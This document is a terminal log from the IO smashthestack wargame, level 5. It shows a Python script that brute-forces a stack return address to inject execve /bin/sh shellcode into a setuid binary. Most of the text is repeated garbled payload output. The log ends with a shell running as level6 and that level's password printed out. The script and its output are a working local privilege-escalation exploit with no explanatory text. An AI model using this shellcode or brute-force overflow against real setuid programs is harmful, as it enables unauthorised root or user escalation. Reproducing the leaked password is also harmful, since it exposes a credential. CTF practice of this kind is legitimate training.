IO smashthestack level5
level5@io:/tmp/pwn3r$ cat exploit.py
#!/usr/bin/python
import os
TARGET = "/levels/level05"
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
print "[!] Exploit started!"
for i in range(0xff , 0x00 , -1):
for j in range(0x01 , 0x100 , 100):
payload = ""
payload += "\x90" * 100
payload += SHELLCODE
payload += "\x90" * (40 - len(SHELLCODE))
payload += chr(j) + chr(i) + "\xff\xbf"
pid = os.fork()
if pid == 0:
os.execv(TARGET , ("pwn3r" , payload))
else:
os.waitpid(pid , 0)
level5@io:/tmp/pwn3r$ ./exploit.py
[!] Exploit started!
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
????????????????e?
sh-3.2$ id
auid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1005(level5),1029(nosu)
t sh-3.2$ cat /home/level6/.pass
MJQsFVD8k46V